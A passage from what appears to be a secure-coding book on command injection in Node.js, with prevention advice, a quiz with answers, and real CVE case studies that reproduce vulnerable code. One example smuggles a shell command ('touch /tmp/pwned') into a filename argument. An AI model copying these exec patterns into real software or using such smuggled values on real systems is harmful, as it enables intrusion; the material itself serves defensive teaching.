if (error) {
console.error(`Error executing command: ${error}`);
return;
}
}
}
executeCommand('ping', ['-c', '2', userIP]);
executeCommand('git', ['status']);

2. Avoid invocations of npm’s run-scripts to execute programs.


Regardless of whether you concatenate strings or use
parameterized commands or arguments, the npm run
command should be avoided at all costs. In the following
example, both exec and execFile are vulnerable to
command injection attacks:

const { exec, execFile } = require('child_process');

exec(`npm run ${userInput}`, (err, stdout, stderr) => {});


execFile('npm', ['run', userInput], (err, stdout, stderr) => {});

9.4. Additional Security Controls


To reduce command injection attacks, developers can use
additional security controls in addition to secure coding
practices. These extend to maintaining a healthy dependency
tree, reviewing dependencies for known security issues,
employing static application security testing and being
prepared for unpatched vulnerabilities.

9.4.1. Keep Dependencies Up to Date


Developers should keep their dependencies up to date with the
latest security fixes to prevent command injection class of
security vulnerabilities impacting their web applications.
Introduce Software Composition Analysis (SCA) tools to your
CI/CD pipeline to automate the process of identifying vulnerable
dependencies and updating them to the latest versions.

Prioritize tools that provide actionable remediation guidance


and streamline dependency updating through highly integrated
developer workflows such as:

1. Available as an IDE extension so developers can quickly


learn and mitigate vulnerabilities.

2. Available as a command-line tool so developers can


integrate it into custom workflows.
3. Low false positive rates to reduce noise and decrease
friction.

9.4.2. Static Application Security Testing


When developers fall short of implementing secure coding
practices and are unaware of the risks to application security, a
specific type of application security testing can help them
identify and remediate vulnerabilities in their code.

Static application security testing (SAST) tools analyze a


program’s source code through call graphs and can help
developers identify command injection vulnerabilities in their
code by calling out high-risk source-to-sink findings.
SAST tools can be integrated into the CI/CD pipeline to automate
the scanning code for vulnerabilities and provide actionable
remediation guidance to developers. However, they’re even
more effective as developer security tooling integrated into
developer workflows:

1. As IDE extensions, they provide timely feedback to


developers and alert them to insecure code as they write it.
2. Fast IDE feedback loop to provide real-time guidance to
developers.
3. Provide developers with just-in-time guidance about
insecure code findings and remediation recommendations.

9.4.3. Review A Dependency Source Code


Developers should review a dependency’s source code to learn
the overall design and trade-offs practiced by the maintainer.
Preferably, this due diligence should be performed before
adding a dependency to your project.

While this is not an easily applied tactic for a project’s entire


dependency tree, developers should prioritize the dependencies
used for critical areas of the application.
9.4.4. Be Prepared for Unpatched
Vulnerabilities
A vulnerability fix for open-source software is not guaranteed
to be available, nor is it guaranteed to be available in a timely
manner. Having contingency plans in place to mitigate the
impact of unpatched vulnerabilities in open-source packages
requires developers to be prepared for unpatched
vulnerabilities.

OceanofPDF.com
10. APPENDIX

10.1. Test Your Knowledge


In this section, you can check your understanding of the
concepts and best practices presented in the book through
multiple-choice questions, fill-the-blank stories and yes-no
questions. Answer them to the best of your ability, and check
your answers at the end of the section.


TIP

If you are using this book to train others, it is highly recommended that
you use these sets of questions to test your audience’s understanding of
the concepts presented in the book and how well they have internalized
the material.

To do that, you should use these questions to assess their skill-set before
and after training. This will help you identify areas of improvement and
better understand the effectiveness of the expertise gained by reading
and practicing the exercises in this book.

Select the correct answer (some questions may have multiple


correct answers), fill in the blanks, and answer to the best of
your knowledge the following questions:

1. What are the types of command injection


vulnerabilities?

a. Argument Injection

b. Command Injection
c. Blind Command Injection

d. Stored Command Injection

2. What are the best practices to prevent command


injection vulnerabilities in Node.js?
a. Use a secure API that provides a safe way to execute
shell commands, such as child_process.execFile

b. Validate user input to expected schema, length and types

c. Use the POSIX double-dash to separate arguments from


options
d. Map user input to an allow-list of pre-defined command-
line arguments

e. Use a firewall to block incoming requests

3. What is the danger of using child_process.exec to execute


shell commands in Node.js?

a. It is slower than other methods of executing shell


commands
b. It does not work on all operating systems
c. It is not compatible with other Node.js APIs

d. It allows an attacker to inject arbitrary shell commands


and execute them on the server

4. Fill the blanks in the following paragraph (multiple


words may apply):

Command injection vulnerabilities occur when user input is ____________


and executed as a command by the application. A security control such as
____________ can help prevent command injection vulnerabilities. In
Node.js, using the ____________ npm package can help prevent command
injection vulnerabilities when using unsafe APIs such as ____________
because it ____________ in user input.

5. What is the best way to prevent Argument Injection?


a. Encrypt all user input before using it in an operating
system command

b. Use the POSIX double-dash to separate arguments from


options

c. Validate all user input before using it in an operating


system command

d. Encode shell meta characters in user input before


passing them to child_process.exec

6. What is the difference between child_process.exec and


child_process.spawn in Node.js?

a. child_process.exec is faster than child_process.spawn


b. child_process.exec spawns a shell to execute the
command, while child_process.spawn does not

c. child_process.spawn only works on Windows servers

d. child_process.spawn separates the command from its


command-line arguments

7. What is a common technique used by attackers to bypass


command injection security controls in Node.js
applications?

a. Using a proxy server to modify input before it reaches


the Node.js server

b. Using a brute-force attack to guess valid input to a


command string

c. Using special characters and escape sequences to inject


additional commands

d. Encoding command-line flags as binary data instead of


text

8. What is the danger of using user input to construct a


command-line string in Node.js?

a. It can cause the server to run out of memory

b. It can cause the server to become unresponsive

c. It can cause the server to crash if the input is too long


d. It allows an attacker to inject additional commands or
modify the intended command

9. Fill the blanks in the following paragraph (multiple


words may apply):

In a command injection attack, an attacker can ___________ malicious code


into an application's command line. Command injection attacks can be
mitigated by using ___________, ___________ and ___________ techniques.
In Node.js applications, command injection attacks can occur when using
the ___________ module to execute shell commands.

10. Fill the blanks in the following paragraph (multiple


words may apply):

A common method used by attackers to exploit command injection


vulnerabilities is to inject a ___________ character into the command
line. To prevent command injection attacks, it is recommended to use the
___________ API.

11. Given the following code snippet[4]

def _git(cmd, args, cwd="/"):


proc = run(["git", cmd, *args], stdout=PIPE, stderr=DEVNULL,
cwd=cwd, timeout=5)
return proc.stdout.decode().strip()

@app.route("/blame", methods=["POST"])
def blame():
url = request.form.get("url", "https://github.com/package-url/purl-
spec.git")
what = request.form.getlist("what[]")
with TemporaryDirectory() as local:
if not url.startswith(("https://", "http://")):
return make_response("Invalid url!", 403)
_git("clone", ["--", url, local])
res = []
for i in what:
file, lines = i.split(":")
res.append(_git("blame", ["-L", lines, file], local))
return make_response("\n".join(res), 200)

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can


you apply?

12. Given the following code snippet[5]

const execa = require('execa');

async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;

strapi.log.info(`Installing ${plugin}...`);
await execa('npm', ['run', 'strapi', '--', 'install', plugin]);

ctx.send({ ok: true });

strapi.reload();
} catch (err) {
strapi.log.error(err);
strapi.reload.isWatching = true;
ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }]
}]);
}
},

a. Is the above code vulnerable and why?


b. If the above is vulnerable, what security controls can
you apply?

13. Given the following code snippet[6]

var exec, execSmart;


exec = require('child_process').exec;

module.exports.raw = execSmart = function(args, cb) {


return exec("smartctl " + args, {
maxBuffer: 1024 * 1024 * 24
}, function(e, stdout, stderr) {
var lines;
lines = stdout.split('\n').slice(0, -1);
if (e != null) {
return cb(lines.slice(3), []);
} else {
return cb(null, lines.slice(4));
}
});
};

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can


you apply?

14. Given the following code snippet:

'use strict';
const express = require('express');
const { execFile } = require('child_process');

const app = express();

app.get('/git-log', (req, res) => {


const filename = req.query.filename;
const command = 'git';
const args = ['log', filename];

const filterShellEscapeChars = /['";&|`$><*()]/;


if (filterShellEscapeChars.test(filename)) {
console.error('Invalid filename');
res.status(400)
.send('Invalid filename');
return;
}

execFile(command, args, (error, stdout, stderr) => {


if (error) {
console.error(`execFile error: ${error}`);
res.status(500)
.send(`execFile error: ${error}`);
return;
}

res.send(stdout);
});
});

app.listen(3000, () => {
console.log('Server running on port 3000');
console.log('Try: curl http://localhost:3000/git-log?
filename=README.md')
});

a. Is the above code vulnerable and why?


b. If the above is vulnerable, what security controls can
you apply?

15. Given the following code snippet[7]

module.exports = function (commandOrArgs, optionsOrCallback,


callbackMaybe) {
const callback = [
optionsOrCallback,
callbackMaybe,
defaultCallback,
].find(isFunction);
const options = [
optionsOrCallback,
callbackMaybe,
defaultOptions,
].find(isObject);

if (isString(commandOrArgs) && commandOrArgs.startsWith("git "))


{
commandOrArgs = commandOrArgs.substring(4);
}

const execBinary = options.gitExec || "git";


const execOptions = {
cwd: options.cwd,
windowsHide: true
};

const execArguments = isString(commandOrArgs)


? commandOrArgs.split(" ")
: commandOrArgs;

return execFile(execBinary, execArguments, execOptions)


.then(
({stdout}) => callback(stdout, null),
(error) => {
if (callback.length === 1) {
throw error;
} else {
return callback("", error);
}
});
};

a. Is the above code vulnerable and why?


b. If the above is vulnerable, what security controls can
you apply?

16. Given the following code snippet[8]

const spawn = require('child_process').spawn;

send(mail, done) {
// Sendmail strips this header line by itself
mail.message.keepBcc = true;

let envelope = mail.data.envelope || mail.message.getEnvelope();


let messageId = mail.message.messageId();
let args, sendmail, returned, transform;

if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] :
[]).concat(envelope.to);
}

let callback = err => {


if (returned) {
return;
}
returned = true;
if (typeof done === 'function') {
if (err) {
return done(err);
} else {
return done(null, {
envelope: mail.data.envelope || mail.message.getEnvelope(),
messageId, response: 'Messages queued for delivery'
});
}
}
};
try {
sendmail = spawn(this.path, args);
}
};

a. Is the above code vulnerable and why?

b. If the above is vulnerable, what security controls can


you apply?

17. Is it safe to use single or double quotes to wrap user input in


shell commands?

a. Yes
b. No

18. Can command injection be prevented by using deny-list


techniques?
a. Yes

b. No

19. Using parameterized command-line arguments API is a


good way to prevent command injection, but is not enough.
Correct?

a. Yes
b. No

20. The following code snippet is a safe and secure way to


execute shell commands with user input passed as
arguments array spawn(command, args, { shell: true }):
a. Yes

b. No
10.1.1. Answers
The correct answers are as follows:

1. a) to c)

2. a) to d)
3. d)

4. fill in the blank:


a. 'not sanitized'

b. 'input validation'
c. 'shelljs'

d. 'exec'
e. 'escapes special characters'

5. b) and c)

6. b) and d)
7. c)

8. d)
9. fill in the blank:
a. 'inject'
b. 'secure system process APIs'

c. 'input validation'
d. 'POSIX double-dash end of arguments'
e. 'child_process'

10. fill in the blank:

a. 'semicolon' (also acceptable: 'shell meta characters' and


variations of these)
b. 'execFile' (also acceptable: 'spawn' and their
synchronous counterparts)

11. Skipped open question for code


12. Skipped open question for code

13. Skipped open question for code


14. Skipped open question for code
15. Skipped open question for code
16. Skipped open question for code

17. Yes/No question:


a. No

18. Yes/No question:


a. No

19. Yes/No question:


a. Yes

20. Yes/No question:


a. No
Questions 11 to 16 are questions that are more suitable for
group discussion.

10.2. Command Injection in the Wild


The following sections provide references to Command
Injection and Argument Injection security vulnerabilities
discovered in the wild, impacting both closed-source vendor
software and open-source software.

These vulnerabilities are provided as real-world examples and


can be used to better understand and convey the impact of
command injection vulnerabilities to your stakeholders,
security, and development teams. You are encouraged to use
these examples to communicate and engage your organization
in application security. In particular, the importance of
preventing command injection vulnerabilities.

Suggested activities include:

1. Review the provided source code examples and discuss


command injection vulnerability risks with your team.
2. Developers can engage in an exercise to identify potential
issues with the libraries below. This is a way to engage and
educate your team about application security. Are they
asking the right questions? Are they looking in the right
places? Are they using the appropriate tools? Are they
practicing secure coding techniques? Are they employing a
defensive programming mindset?
3. Create trivia-like questions that show a code snippet and
test their understanding of insecure coding conventions.

4. Create trivia-like questions to test your team’s knowledge of


command injection vulnerabilities. For example, "What is
the most common way to prevent command injection
vulnerabilities?" or "What is the most common way to
detect command injection vulnerabilities?"

5. Create a game where developers are given a code snippet


and asked to identify the vulnerability. For example, "What
is the vulnerability in the following code snippet?"
6. Establish Capture The Flag (CTF) challenges where
developers are given a code snippet and asked to identify
the vulnerability. For example, "What is the vulnerability in
the following code snippet?"

10.2.1. Command Injection in GitHub Actions


Can you spot the vulnerability in the following GitHub Actions
workflow?

name: app-ci
on:
issue_comment:
types: [created]
jobs:
comment-action:
runs-on: ubuntu-latest
steps:
- name: Echo issue comment
run: |
echo ${{ github.event.comment.body }}

On January 5th, 2023, Security researcher Karim Rahal


disclosed their findings of how a command injection
vulnerability in GitHub Actions could be exploited to execute
code. This results in secrets being leaked.

Rahal’s findings extend to both GitHub’s infrastructure and self-


hosted runners that organizations can use to run their
workflows and demonstrate how different usages of GitHub
Actions workflows, such as JavaScript-based runners, are also
vulnerable to command injection attacks.

10.2.2. Command Injection in Networking &


Security Appliances
One kind of vulnerable software that isn’t an obvious target for
developers is that which runs networking and security
appliances.

These devices are often looked at as opaque hardware


machines and to some it may not be immediately apparent that
they are mostly software-based. They range from simple
network routers to complex security appliances, such as
firewall endpoints, webcams and printers.
While these devices aren’t top of mind for the general public,
they are often an easy and lucrative attack target for attackers:

1. They are often deployed in enterprise environments which


naturally creates an opening for an internal office network.
2. They are often not kept up-to-date with firmware releases.
As a result, they are more susceptible to security
vulnerabilities.
3. These devices aren’t uniquely crafted software, but rather
mass-produced and mass-consumed software. This means
that a CVE report for a security vulnerability in an
appliance exposes many victims to attack.

NOTE

Cybersecurity agencies often issue critical alerts to the public regarding


security issues in such appliances based on the above criteria.

For example, the Cybersecurity & Infrastructure Security Agency (CISA),


issued the ICSA-23-110-01 advisory[9] on April 20, 2023, to alert against a
CVSS 10 (critical) vulnerability in the INEA ME RTU remote terminal unit.
You probably never heard of it before but this equipment is used in
industrial control systems such as power plants, water treatment plants,
and transportation. The security vulnerability identified in this device is
related to a command injection vulnerability accessible via the web
interface.

Another example is QNAP’s CVE-2020-2509[10] which details an XML


command injection vulnerability impacting a Network Attached Storage
(NAS) device. Based on Shodan, a search engine for internet-connected
devices, at the time of publishing the CVE it was estimated that this public-
facing appliance was exposed to more than 350,000 unique IP addresses.
In response to the potential impact of this vulnerability being exploited in
the wild, CISA included this CVE as part of its Known Exploited
Vulnerabilities Catalog[11]. It also featured it in its 2021 Top Routinely
Exploited Vulnerabilities[12] advisory. More on this command injection
vulnerability and its findings can be found in SAM’s blog writeup.

The following are some examples of security vulnerabilities


identified in networking and security appliances:

1. CVE-2021-28800[13] discloses a command injection


vulnerability reported to affect QNAP NAS running legacy
QTS versions. QNAP was found vulnerable multiple times to
command injection vulnerabilities. One such security issue
from 2017[14] allows remote code execution and features
publicly available exploit code on the web.

2. CVE-2022-1388[15] discloses remote code execution


vulnerabilities stemming from command injection in F5’s
BIG-IP networking and security appliance. Proof of concept
exploits and evidence of exploitation in the wild have been
published and observed in public chatter.

Exercises
The following are recommended exercises to engage your team
in real-world implications of command injection vulnerabilities
in the wild:

1. Find a CVE report for a command injection vulnerability in


a Linksys device (or networking or security appliance).
Discuss the impact of this vulnerability and how it could be
exploited in the wild. Find a proof-of-concept exploit for this
vulnerability and discuss how it works. (Hint: ExploitDB is
one reference example).
2. Can you find a top-tier vulnerability that was exploited in
the wild and features a command injection attack vector?
Top tier vulnerabilities are those so widespread and
dangerous that they have been recognized with their own
names. (Hint: Shellshock CVE-2014-6271 and exploitable
container use-case).
10.2.3. Vulnerable sketchsvg
SketchSVG is an official eBay library for converting Sketch files
to SVGs.

The CVE-2023-26107 security advisory published on March 6th,


2023, describes a command injection vulnerability in the
runCmdLine function of the sketchsvg library. The vulnerability is
caused by the shell.exec function, which is vulnerable to
command injection. The shell.exec function executes a
command line tool to convert Sketch files to SVGs.

The vulnerable code manifests in lines 109-120 of the


sketchsvg/lib/index.js file as follows:
Listing 21. sketchsvg/lib/index.js

runCmdLine(allLayers, fileName) {
return new Promise((resolve, reject) => {
allLayers.layers.forEach((layerObj, idx) => {
const id = layerObj.id;
const name = encodeURIComponent(layerObj.name);
/* eslint-disable max-len */
shell.exec(`${sketchTool} export layers ${fileName} --item=${id} --
filename=${Math.random()}--${name}.svg --output=${__dirname}/tmpsvgs --
formats=svg`);
count++;
resolve();
});
});
}
Exercises
The following are recommended exercises to engage your team
in application security:

1. Identify the vulnerability in the code snippet above.

2. Identify the source and sink of the vulnerability.


3. Are there other vulnerable functions in this version of the
library’s source code?
4. Describe several ways to fix this vulnerability.
5. What is the ideal fix for this vulnerability?

6. How did the library maintainer fix this vulnerability?


10.2.4. Vulnerable versionn
The versionn npm package is a library for managing version
numbers for Node.js projects packaged as npm modules.

The CVE-2023-25805 security advisory published on February


19th, 2023, describes a command injection vulnerability in the
gitfn.js file of the versionn library. The vulnerability is caused
by an insecure use of the child_process.exec function to commit
and tag the version number. This security vulnerability was
fixed in version 1.1.0.

The vulnerable version of the versionn npm package is as


follows:
Listing 22. versionn/lib/gitfn.js

var child = require('child_process')

function GitFn (version, options) {


this._version = version
this._options = {
cwd: options.dir,
env: process.env,
setsid: false,
stdio: [0, 1, 2]
}
}
module.exports = GitFn

GitFn.prototype = {
tag: function (cb) {
var cmd = ['git', 'tag', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
untag: function (cb) {
var cmd = ['git', 'tag', '-d', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
commit: function (cb) {
var cmd = ['git', 'commit', '-am', '"' + this._version + '"'].join(' ')
this._exec(cmd, cb)
},
_exec: function (cmd, cb) {
child.exec(cmd, this._options, cb)
}
}

Exercises
For your team to become more aware of application security, I
recommend the following exercises:

1. Can developers on your team identify and explain the


primary reason for the vulnerability?

2. Can developers in your team suggest which alternative


Node.js APIs should be used instead, to mitigate the
command injection vulnerability?
3. Was this security vulnerability fixed on time?

4. Review the security fixes and discuss:


a. Is the technique used to fix the vulnerability the best
approach? How else could the vulnerability have been
fixed?
b. What else can you learn from the security fix? Hint:
Software testing is a key part of software development
10.2.5. Vulnerable gry
The gry npm package is a library providing a wrapper for the
git command line tool.

The CVE-2020-36650 security advisory published on January


11th, 2023, describes a command injection vulnerability in the
gry library. The following vulnerability was fixed in version
6.0.0:
Listing 23. gry/lib/index.js

/**
* exec
* Executes a git command in the repository directory.
*
* @name exec
* @function
* @param {String} command The git command that should be executed in the
repository directory.
* @param {Array} args An array of options passed to the spawned process. This
is optional (if not provided, `exec` will be used instead).
* @param {Function} callback The callback function.
* @return {Gry} The `Gry` instance.
*/
exec (command, args, callback) {

// Handle spawn
if (Array.isArray(args)) {
eargs.push("git", [command].concat(args));
} else {
eargs.push("git " + command.trim());
}

}
Exercises
To engage your team in application security, try these exercises:

1. What is different about this command injection


vulnerability compared to other packages and their use of
the child_process API? What can you learn from this?
2. What can you learn about the project’s health?

3. How was this security vulnerability found?


4. How does this security vulnerability impact the package’s
popularity and reach?
10.2.6. Vulnerable global-modules-path
The global-modules-path project is a popular npm package that
provides a way to get the path to the global node_modules
directory. As of this writing, the package has over 134,244
weekly downloads.

The CVE-2022-21191 security advisory published on January


13th, 2023, describes a command injection vulnerability in the
global-modules-path library and was fixed in version 3.0.0.
Listing 24. global-modules-path/lib/index.js

const childProcess = require("child_process"),

const getNpmPrefix = (pathToNpm) => {


try {
const npmPrefixStdout = childProcess.execSync(`${pathToNpm} config get
prefix`);
return npmPrefixStdout && npmPrefixStdout.toString().trim();
} catch (err) {
console.error(err.message);
}

return null;
};

const getPathFromExecutableNameOnNonWindows = (packageName, executableName)


=> {
try {
// Second way to find it is to use the result of which command
// It will give path to the executable, which is a symlink in fact, so we
can get the full path from it:

// whichResult: /usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib
// lsLResult: lrwxrwxrwx 1 rvladimirov rvladimirov 52 Oct 20 14:51
/usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib ->
../lib/node_modules/mobile-cli-lib/bin/common-lib.js
const whichResult = (childProcess.execSync(`which ${executableName}`) ||
"").toString().trim(),
lsLResult = (childProcess.execSync(`ls -l \`which
${executableName}\``) || "").toString().trim();
}
};

Exercises
You can engage your team in application security by doing the
following exercises:

1. What can you learn from the CVE report ID?

2. What can you learn about the package’s dependent


packages? How did that change between major versions 2.x
and 3.x? What can you learn from that about vulnerable
dependencies?

3. How did the maintainer fix the vulnerability? What can you
learn from the fix?
10.2.7. Vulnerable semver-tags
The semver-tags npm package is a library that provides an API
to list tags from a Git or Subversion source code repository.

The CVE-2022-25853 security advisory published on February


6th, 2023, describes a command injection vulnerability in the
getGitTagsRemote function. This security issue was not yet fixed
at the time of this writing.

The following code snippet shows the vulnerable code across


lines 21 to 35:

Listing 25. semver-tags/lib/get-tags.js

const cp = require('child_process')

const getGitTagsRemote = (path, cb) => {


cp.exec('git ls-remote --tags "' + path + '"', (err, stdout, stderr) => {
if (err) { cb(err) }
const tagList = stdout.trim()
.split('\n')
.map(l => {
if (/^\w+\s+refs\/tags\/(.*)$/.exec(l.trim())) {
return RegExp.$1
}
return null
})
.filter(t => t !== null)
cb(null, tagList)
})
}
Exercises
The following are recommended exercises to engage your team
in the importance of application security:

1. What can you tell us about the project’s dependency


footprint?
2. What other functions in the library use Node.js APIs? Can
you share insights into their security aspects?

3. Can you suggest a payload to exploit this vulnerability?

4. How would you fix this vulnerability?


5. Can you find other functional issues in the code? Hint: error
handling in getGitTagsRemote.

6. Can you find other security issues in the code? Hint: is the
RegEx test pattern in the main exported module code strong
enough?

10.2.8. Vulnerable s3-uploader


The s3-uploader npm package is a library that provides an API
to upload image files to Amazon’s AWS S3 service.

The CVE-2021-34084 security advisory published on June 3rd,


2022, describes a command injection vulnerability in the
package.

An attacker can pass a malicious filename to the upload function


to exploit the vulnerability. The following code snippet shows
an example of a malicious filename that execute the touch
command on a Unix system:

var Upload = require('s3-uploader');


var client = new Upload('my_s3_bucket', {});
client.upload('NaN; touch /tmp/pwned; #', {}, function(err, versions, meta)
{});

The following code snippet shows parts of the original code:


Listing 26. s3-uploader/index.js

'use strict';

const fs = require('fs');
const extname = require('path').extname;
const S3 = require('aws-sdk').S3;

const auto = require('async').auto;


const each = require('async').each;
const map = require('async').map;
const uuid = require('uuid');

const resize = require('im-resize');


const metadata = require('im-metadata');

Image.prototype.start = function start(cb) {


auto({
metadata: this.getMetadata.bind(this, this.src),
dest: this.getDest.bind(this),
versions: ['metadata', this.resizeVersions.bind(this)],
uploads: ['versions', 'dest', this.uploadVersions.bind(this)],
cleanup: ['uploads', this.removeVersions.bind(this)],
}, (err, results) => {
cb(err, results.uploads, results.metadata);
});
};

Upload.prototype.upload = function upload(src, opts, cb) {


const image = new Image(src, opts, this);
image.start(cb);
};

const Upload = function Upload(bucketName, opts) {


this.opts = opts || {};

if (!bucketName) {
throw new TypeError('Bucket name can not be undefined');
}

if (!this.opts.aws) { this.opts.aws = {}; }


if (!this.opts.aws.acl) { this.opts.aws.acl = 'private'; }

this.s3 = new S3(this.opts.aws);


return this;
};

module.exports = Upload;

Exercises
Given the above source code and knowledge of the vulnerable
package:

1. Where is the vulnerability located?


2. Is this a false positive security report?

3. What can you learn about managing open-source


dependencies from this vulnerability?
10.3. CVEs in This Book
The following is a reference list of all the CVEs mentioned in
this book. The CVEs are listed in the order they are mentioned
in the book:

CVE Library Year disclosed Vulnerable range

CVE-2022-25766 ungit 2022 ⇐0.8.4

CVE-2022-24066 simple-git 2022 <3.3.0

CVE-2022-24376 git-promise 2022 *

CVE-2018-3757 pdf-image 2018 *

CVE-2019-19609 Strapi 2019 <<3.0.0-beta.17.8

CVE-2018-25083 pullit 2018 <1.4.0


4 Python code snippet from SonarSource’s Code Security Advent Calendar:
https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022

5 Strapi project found vulnerable to command injection in CVE-2019-19609:


https://security.snyk.io/vuln/SNYK-JS-STRAPI-536641

6 smartctl npm package found vulnerable to command injection in CVE-2022-21810:


https://security.snyk.io/vuln/SNYK-JS-SMARTCTL-3175613

7 git-promise npm package found vulnerable to command injection in CVE-2022-


24376: https://security.snyk.io/vuln/SNYK-JS-GITPROMISE-2434310

8 nodemailer npm package found vulnerable to command injection in CVE-2020-


7769: https://security.snyk.io/vuln/SNYK-JS-NODEMAILER-1038834

9 https://www.cisa.gov/news-events/ics-advisories/icsa-23-110-01

10 https://nvd.nist.gov/vuln/detail/CVE-2020-2509

11 https://www.cisa.gov/known-exploited-vulnerabilities-catalog

12 https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a

13 https://www.qnap.com/fr-fr/security-advisory/qsa-21-28

14 CVE-2017-6361

15 https://nvd.nist.gov/vuln/detail/CVE-2022-1388

OceanofPDF.com

You might also like